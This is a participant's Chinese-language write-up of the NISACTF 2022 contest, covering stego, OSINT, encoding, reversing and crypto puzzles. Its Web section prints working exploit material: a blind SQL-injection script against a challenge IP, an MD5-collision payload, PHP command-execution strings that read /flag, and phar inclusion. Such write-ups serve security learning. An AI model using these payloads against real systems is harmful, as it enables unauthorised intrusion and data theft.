NICOCTF 2022 Writeup (Winter Camp Final)

Rank7

比赛地址:NSSCTF - NISACTF2022公开通道 (ctfer.vip)

好气呀。。。差一名就能拿到贴纸了

赛事说明:NISACTF新生赛为福建师范大学网络与信息安全协会NISA战队面向本校的一次纳新比赛,比赛旨在选拔出有能力且志同道合的师傅加入战队,同时也是对参与首次NICO(NISA&CodeMonster)冬令营新生的成果检测。 本次比赛为个人赛,包括Web Pwn Misc Reverse Crypto 五个方向,由福建师范大学NISA战队和厦门理工学院CodeMonster战队联合出题。 或是对比赛荣誉的渴望,或是对安全的单纯热爱 NISA战队随时欢迎福建师范大学校内师傅们的加入,期待更多新鲜血液的涌入! CodeMonster战队随时欢迎厦门理工学院校内师傅们的加入,期待更多新鲜血液的涌入!

NISA战队企鹅交流群:245636057

CodeMonster战队企鹅交流群:1167369880

比赛时间:3月25日19:00 - 3月27日19:00

Misc

签到

Skip.

huaji?

下载后加jpg后缀,接着右键打开查看详情,之后hex Decode即可

img

提交flag后发现不对,查看图片后发现有压缩包字样,提取压缩包后,发现该压缩包需要密码,而密码就是 ctf_NISA_2022

img

最终flag

flag{Nls@_FumYEnnOjy}

套娃

题目给了 raw 文件和 array.txt,盲猜取证题

img

先把array.txt解了,array.txt解出来是一堆数组,Crypto为unicode-base64-base32-hex,很套

img

得到

1
32, 24, 6, 28, 15, 31,7, 23, 13, 27, 30, 33,12, 8, 5, 26, 29, 16,34, 22, 2, 14, 9, 17,21, 1, 19, 10, 4, 36,35, 25, 11, 20, 3, 18

接着用 Volatility 分析下镜像文件

img

vol搜flag无果,搜Desktop发现有个pwd.txt和flower.zip

img

得知它们的地址后提取出来

1
2
pwd.txt - 0x000000001ddb8f20
flower.zip - 0x000000001e5cb070

img

pwd.txt 解码过程 Base32 -> Base64 得到 Q5R2Ln3nLqUnQaIV

img

1
(./0-9A-Za-z=)

解码后得到 pwD_1s_h3re!

返回flower.zip压缩包,密码就是**pwD_1s_h3re!**,

解压后得到破碎的图片

img

这里就得结合上边的array.txt文件了

我的猜想是图片的序号对应数组里边的位置

1-32

2-24

然后发现这是个6x6的矩阵图

1
2
3
4
5
6
32, 24,  6, 28, 15, 31
7, 23, 13, 27, 30, 33
12, 8, 5, 26, 29, 16
34, 22, 2, 14, 9, 17
21, 1, 19, 10, 4, 36
35, 25, 11, 20, 3, 18

写脚本处理下得到

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
coor = [
[32, 24, 6, 28, 15, 31],
[7, 23, 13, 27, 30, 33],
[12, 8, 5, 26, 29, 16],
[34, 22, 2, 14, 9, 17],
[21, 1, 19, 10, 4, 36],
[35, 25, 11, 20, 3, 18]
]
# img = Image.open("1.png")
# w,h = img.size
# image = Image.new('RGB', (1000,1000))
for i in range(0,6):
for j in range(0,6):
# t = str(coor[i][j]) + ".png"
# s_image = Image.open(t)
# tp = (w * j, h * i, w * (j + 1), h * (i + 1))
# image.paste(s_image, tp)
# image. Show()

接下来把上面的字母横排一下就好

1
58s4vb6rt4pt5r32yd6ht5u656555r6796524vi69r2yd5om6w0

此处编码

Twin-Hex Cypher Encoder/Decoder

img

flag{I_am_Guwanneme_servant_Gulf}

bqt

img

Ctrl+A全选后发现一行神秘字符 **c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd**

也就是

1
**c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd**

直接转十进制会得到一堆乱码,凭直觉每个字符串依次减掉1位,最终减掉128位恢复正常 String,写个脚本跑下即可出 Flag

1
2
3
4
5
6
7
8
9
10
11
12
import re
a = "c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
b = re.findall(r'.{2}', a)
c=[]
str=''
print(b)
for i in b:
d = int(i, 16) - 128
e = chr(d)
c.append(e)
print(c)
print(str.join(c))

NSSCTF{wefeoidjgoedsfiorpefdfggfdse}

where_is_here

[alert]又到了👴最喜欢的OSINT🌶,👴正在出你的户籍[/alert]

题目给出的是一家旅馆的内部

img

直接丢Google得出具体地址在厦门市,在厦门鼓浪屿的一家宾馆内,结合题目意思,需要找的是旅馆,检索了鼓浪屿100多家旅馆,最后在XX路段找到了一模一样的旅馆内部。

img

NSSCTF{厦门市思明区鼓浪屿XX路25号17XXXXXXXXX}

不愉快的地方

[alert]这题也是OSINT,👴太开心🌶[/alert]

img

题目给了一张图片,直接丢到 Google 识图里,得出地址在韩国首尔清溪川内景,经纬度谷歌map定位一下就好了,但是这点是最麻烦的,有十几种结果,平台上我提交十几次都不对,最后通过一些暴力手段查到了正确的经纬度 37.56,126.97

img

img

找人很容易,直接到官网社工就行。。。

img

NSSCTF{清溪川_37.56,126.97_金贤民_6801}

神秘数字

做这题可以温习大天朝上下四千年历史(雾

题目描述

这里有五行神秘字符,看看它们分别代表什么吧 ovty fgh wnn 0678 3127 2347 0155 5074 MAZY AGD BMY NFA XOBV UCL A MFJI 40227 44801 36780 27620 YPTC QVIO MGBHU JYK 汉字是一种伟大的创造,是史上迄今为止连续使用时间最长的主要文字,也是上古时期各大文字体系中唯一传承至今的文字体系,到了现代,随着时代和信息的发展,人们从中引出了不少变形,他们都在为着汉字的安全性做出了贡献,时至今日,它们可能已经淘汰,但是对我们来说,他们仍有着一些现实意义。请你将得到的一句话转换成md5并包上NISA字符,flag形式为NSSCTF{md5值大写}

先对字符进行分组,大写的一组、小写的一组、混合的一组、纯数字的一组

得到

1
2
3
4
5
ovty fgh wnn
0678 3127 2347 0155 5074
MAZY AGD BMY NFA XOBV UCL A MFJI
40227 44801 36780 27620
YPTC QVIO MGBHU JYK

通过一系列查询,发现末尾字母叫做倉頡码,以下是一些说明

img

有了代码,直接解码即可最后一行得到

  • YPTC(虚)
  • QVIO(拟)
  • MGBHU(现)
  • JYK(实)

然后通过倉頡码延伸出其它的编码分别是:

四角码、郑码输入、中文电码、五笔86

最后一个个解密即可

  • 五笔86:ovty(数) fgh(十) wnn(亿)
  • 中文电码:0678(合) 3127(法) 2347(操) 0155(作) 5074(者)
  • 郑码输入:MAZY(每) AGD(天) BMY(都) NFA(体) XOBV(验) UCL(着) A(一) MFJI(种)
  • 四角码:40227(有) 44801(共) 36780(识) 27620(的)

得到句子

数十亿合法操作者每天都体验着一种有共识的虚拟现实

最后md5加密下即可

img

NSSCTF{BE29981639FCE3A4B719E4347FED9E43}

为什么我什么都看不见

010打开文件,补上 89 50 得到一张图片

img

仔细观察,发现有个压缩包黏在里边,binwalk 分离压缩包得到

img

NSSCTF{Wlec0me_to_NiSa2022}

bilala的二维码

题目给了个二维码,补全定位标后

img

得到一串链接,访问后下载图片,得到可爱的pikachu

binwalk 分离出三个文件,暂且把它们叫做

a.jpg、b.jpg、c.zip

img

b.jpg存在JPHS加密,这里通过爆破得到密码,

最后发现JPHS屁用没有,鬼知道官方直接交分辨率+Morse就行了

而c.zip存在一个密码,爆破后得到密码为 NiSA ,打开里边的音频文件后发现是个morse码

img

Morse表详见:https://www.qsl.net/bg3tt/zl/mesdm.htm

morse解得

PART1:M0RS34ND

刚开始题目啥都没给,最后的提示是分辨率+压缩包密码是战队信息。。(出题人也承认了这是脑洞题)。。可能是我脑子转不过来吧。。=-=

PART2为a.jpg的分辨率

最后FLAG

NSSCTF{MORS34NDN282X231}

流量包里有个熊

下载文件,发现是个流量包,.pcap加上后打开流量包,分析流量。。

发现客户端最后下载了一张图片

img

直接提取得到 bar.jpg

img

图片里藏了一个压缩包

img

分离后得到一堆数据

img

仔细查看,发现一些规律,rot13转成FFD8….,得到

img

另存为 bear2.jpg

img

图片为隐藏水印,直接用工具解开得到

img

NSSCTF{S0_clev2l_You}

破损的flag

usb流量分析题,修改后缀名后打开,发现usb流量

img

提出键盘流量

img

得到数据

img

写脚本还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# key="0018 000d 000e 0012 0011 000d 000e 0018 0036 0017 0009 0019 0005 000b 001c 000b 000d 000c 0013 0012 000e 0015 0007 0006 0019 000a 0015 0007 0006 0019 000a 0013 0012 000e 0014 001a 0016 001d 0017 0009 0019 0005 000b 0018 000d 000e 0012 001a 0004 001d 001b 0007 0014 0004 0016 0008 001a 0016 0007 0015 0013 0012 000e 001b 0007 0009 0019 000c 000e 000f 0013 0011 000d 000e 001a 0016 0007 0015 0015 0009 000a 001c 0015 0007 0006 0019 000a 0018 000b 0011 0010 000e 0005 000b 000d 0010 001c 000b 000d 000c"
key = "0018 0000 000d 0000 000e 0000 0012 0000 0011 0000 000d 0000 000e 0000 0036 0000 0017 0000 0009 0000 0019 0000 0005 0000 000b 0000 001c 0000 000b 0000 000d 0000 000c 0000 0013 0000 0012 0000 000e 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0013 0000 0012 0000 000e 0000 0014 0000 001a 0000 0016 0000 001d 0000 0017 0000 0009 0000 0019 0000 0005 0000 000b 0000 0018 0000 000d 0000 000e 0000 0012 0000 001a 0000 0004 0000 001d 0000 001b 0000 0007 0000 0014 0000 0004 0000 0016 0000 0008 0000 001a 0000 0016 0000 0007 0000 0015 0000 0013 0000 0012 0000 000e 0000 001b 0000 0007 0000 0009 0000 0019 0000 000c 0000 000e 0000 000f 0000 0013 0000 0011 0000 000d 0000 000e 0000 001a 0000 0016 0000 0007 0000 0015 0000 0015 0000 0009 0000 000a 0000 001c 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0018 0000 000b 0000 0011 0000 0010 0000 000e 0000 0005 0000 000b 0000 000d 0000 0010 0000 001c 0000 000b 0000 000d 0000 000c 0000"
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"","29":"","2a":"", "2b":"\t",
"2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","00":"00",
"32":"","33":";","34":"'","35":"","36":",","37":".",
"38":"/","39":"","3a":"","3b":"", "3c":"","3d":"",
"3e":"","3f":"","40":"","41":"","42":"","43":"",
"44":"","45":""}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"","29":"","2a":"", "2b":"\t","2c":"",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"",
"34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"",
"3b":"", "3c":"","3d":"","3e":"","3f":"","40":"",
"41":"","42":"","43":"","44":"","45":""}
a = key.split(' ')
flag=""
t=""
for i in range(len(a)):
t = a[i].lower()
if(t[:2] == "20"):
flag += shiftKeys[t[2:]]
else:
flag += normalKeys[t[2:]]
print(flag)

得到

1
2
UJKONJK,TFVBHYHJIPOKRDCVGRDCVGPOKQWSZTFVBHUJKOWAZXDQASEWSDRPOKXDFVIKLPNJKWSDRRFGYRDCVGUHNMKBHJMYHJI
ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji

然后对上述字母进行分组

得到键盘编码

1
ujko  njk,  tfvbh  yhji  pok  rdcvg  rdcvg  pok  qwsz  tfvbh  ujko  wazxd  qase  wsdr  pokx  dfv  iklp  njk  wsdr  rfgy  rdcvg  uhnmk  bhjm  yhji

解码

1
i m g u l f f l a g i s w e l c o m e t f j n u

按格式排好

1
im gulf flag is welcome t fjnu

NSSCTF{welcome_to_fjnu}

Web

破损的flag

题目给了一堆U+202EU+2066,这里边会把字符逆转

也就是如果我们提交 ryu1nser 会转成 resn1uyr,和后边的 pwn 签到题有异曲同工之妙

img

exp

1
http://114.5.1.4:19198/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

出自:CVE-2021-42574(https://nvd.nist.gov/vuln/detail/CVE-2021-42574)

level-up

img

第二关在 robots.txt

img

第二关需要进行md5碰撞

img

这里简单生成payload撞一下即可

img

1
array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03

第三关

img

SHA1碰撞,使用提供的样本,撞一下即可

img

img

第四关php特性,直接 _ ->(空格)绕过就能拿到flag了

第五关

忘了,反正要命令执行

记得好像是

1
2
a=\@eval&b=2;}system('ls /') 
a=\@eval&b=2;}system('cat /flag');//

bingdundun~

环境问题。。。第一天没做出来,这题就是 文件上传+文件包含 没啥好说的(算了,蛮写一下吧

1
?bingdundun=phar://xxx.zip/hack

babyupload

右键打开发现 /source,审计源码发现,setup() 函数会加载一个数据库然后在启动后删除它

img

往下看,会发现一个上传函数,这题会把上传后的文件被保存在 uploads/ 目录中,然后把链接重定向到/file/+uid中。

为此我们只需要上传 /flag/flag 即可

这题是原题,题目来源:RaRCTF 2021

easyssrf

一道简单的ssrf,首先文件包含,包含后提示看看 ha1x1ux1u.php

img

进来后发现还是文件包含,包含一下就好了

img

is secret

img

带参访问 /secret

img

根据报错信息得知是编码错误,查看app.py发现加密方法为rc4

只需要写个脚本将Payload加密成rc4发送即可

img

hardsql

题目给出了hint

1
$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

一道注入题目

注入点为密码框,构造语句

1
||#

好了开始注入吧

写个小脚本跑一下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from wsgiref import headers
from itsdangerous import json
import requests
url = 'http://124.221.24.137:28026/login.php'
flag = ''
proxies = {
"http": None,
"https": None
}
#
#'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#
#'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#

burp0_url = "http://124.221.24.137:28026/login.php"
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://124.221.24.137:28026", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://124.221.24.137:28026/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
s = requests.Session()
# 1'or/**/ascii(mid(user(),1,1))/**/LIKE/**/114/**/%23
# 1'/**/union/**/select/**/1,(select/**/ascii(mid((select/**/user()),{},1))/**/LIKE/**/{})
# 1'/**/union/**/(select/**/ascii(mid((select/**/passwd/**/from/**/users/**/LIMIT/**/0,1),1,1))/**/LIKE/**/123)/**/%23
# 1'/**/union/**/select/**/(select/**/*/**/from/**/users/**/where/**/passwd/**/like/**/'b2f2d15b3ae082ca29697d8dcd420fd7')/**/%23
# select/**/GREATEST(ascii(substr((select/**/passwd/**/from/**/users/**/limit/**/0,1),1,1)),116)/**/LIKE/**/116
# User: 1'or/**/ascii(mid(user(),{},1))/**/LIKE/**/{}/**/%23
# Tables: 1'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/0,1),1,1))/**/LIKE/**/1/**/%23
# Done: 1'or/**/select/**/passwd/**/from/**/users/**/where/**/passwd/**/LIKE/**/b2f2d15b3ae082ca29697d8dcd420fd7/**/%23
def attack(i,j):
# payload = "1'/**/union/**/(select/**/ascii(mid((select/**/passwd/**/from/**/users/**/LIMIT/**/0,1),{},1))/**/LIKE/**/{})/**/%23".format(i,j)
# payload = "1'/**/union/**/(select/**/ascii(mid((select/**/*/**/from/**/users/**/where/**/passwd/**/LIKE/**/'b2f2d15b3ae082ca29697d8dcd420fd7'),1,1))/**/LIKE/**/123)/**/%23".format(i,j)
# payload = '1\'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/1,1),'+str(i)+',1))/**/LIKE/**/'+str(j)+'/**/%23'
# 'b2f2d15b3ae082ca29697d8dcd420fd7'
payload = "1'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/0,1),"+str(i)+",1))/**/LIKE/**/"+str(j)+"/**/#"
# 1'/**/union/**/select/**/(select/**/ascii(mid(user(),1,1))/**/LIKE/**/135)/**/%23
# print(payload)
burp0_data = {
"username": "bilala",
"passwd": "{}".format(payload),
"login": "\xe7\x99\xbb\xe5\xbd\x95"
}
t = str(j)
r = s.post(burp0_url, headers=burp0_headers, data=burp0_data)
# print(payload,j,r.text)
# if "alert('wrong password');" in r.text:
if "wrong password" in str(r.content):
# print(t,'\n',r.text)
return True
else:
return False
for i in range(1,100):
for j in range(1,255):
if attack(i,j):
print(chr(j))
# for i in range(1, 100):
# # 二分查找法
# low = 1
# high = 255
# while (low <= high):
# mid = (low + high)//2
# if (attack(i, mid)):
# low = mid + 1
# else:
# high = mid - 1
# flag += chr((low+high+1)//2)
# print(flag)

跑出来的表为txw4ever

img

用户为bilala

密码为b2f2d15b3ae082ca29697d8dcd420fd7

输入密码后会显示源代码,发现这还没完

img

一番搜索后,发现需要Quine注入,具体输入的SQL语句和输出的SQL语句一致的技术,主要使用REPLACE进行逐个替换,这里试了很多种

img

最先开始使用char发现被过滤了,后来使用ord,再后来就用0x方法了

img

join_us

报错注入。。这里就不写了,没啥知识点

img

midlevel

考点就是Smarty的保留变量:https://www.smarty.net/docs/zh_CN/language.variables.smarty.tpl#language.variables.smarty.version

最后的payload

img

Binary

ReorPwn?

1
galf/ tac

NSSCTF{d26000e9-17f2-4a0d-a970-a6c3d3033ee9}

Reverse

ezpython

文件分析后,得知该程序是由pyinstaller编译而成,为此我们反编译一下看一下源代码(出题人用的环境可能是Python3.4)

换到 Python3.4 后

继续反编译

得到脚本

img

仔细看有个 decrypt2 函数,调用这个解密一下就好了

得到

1
this is true key

img

string

IDA分析后发现有个flag函数

img

往下看发现有个主要程序,整个程序大致就是下面这个部分最重要了

img

这里有个小tip,出题人是在Linux上跑的,跑出来的种子跟win是不一样的,初始化种子为10086

写个脚本跑一下,跑出来的值就是flag

img

sign-ezc++

搜索函数得到 flag,简单异或

img

点开数据区

img

exp

1
2
3
4
5
6
7
8
9
10
11
#include
#include
int main(){
int a[100] = {0x44,0x49,0x5E,0x4C,0x71,0x7E,0x62,0x63,0x79,0x55,0x63,0x79,0x55,0x44,0x43,0x59,0x4B,0x55,0x78,0x6F,0x55,0x79,0x63,0x6D,0x64,0x77,0x14};
for (int i = 0; i < 100; ++i ){
a[i] ^= 0xAu;
}
for (int i = 0; i < 100; ++i ){
printf("%c", a[i]);
}
}
1
0xAu='\n'

得到flag

NSSCTF{this_is_NISA_re_sign}

鸣神的国土

题目为一个汇编文件,编译一下,strings 打开后发现一串类似base64的东西

img

直接ROT13转一下

1
2
3
4
5
6
q3q3YzWc
oTyvnJkc
YzAioF92
nJEyol9P
IwSeLwE5
ZJ03MGp=

转好后得到

1
2
3
4
5
6
d3d3LmJp
bGliaWxp
LmNvbS92
aWRlby9C
VjFrYjR5
MW03ZTc=

最后base64解码得到

img

NSSCTF{www.bilibili.com/video/BV1kb4y1m7e7}

Crypto

sign_crypto img

发现是LATEX,简单还原后得到

1
2
3
4
\ni\Sigma\Sigma\chi\Theta\forall
\left\{
\eta \diamond \infty \tau \_\widehat{n i s a}\int \triangle \hookleftarrow\_ \Lambda \aleph \tau \ell \Xi
\right\}

NSSCTF{EDIT_WITH_LATEX}

funnycaeser

变种凯撒

1
NRQ;P<uLliW^(XQ/QT\NDh

观察规律

发现是一位一位递增

但如果真这样做会出现下列结果

img

会变得很奇怪,最后发现如果是符号的地方则需要+5,也就是

;(分号)+5得到8,N(ord)- ;(ord)得到8

综上所述凡是有符号的地方都需要+5

重写脚本得到**
**

NSSCTF{Strai4e->aenaX}

normal

题目打开得到

img

ook!解码后得到一堆unicode

img

继续解码得到base64

img

最后一种解码是BubbleBabble

然后再ROT13

最终flag

NSSCTF{u_kn0w_wH@t_!_thinK}

作者

IceCliffs

发布于

2022-03-29

更新于

2023-10-28

许可协议

评论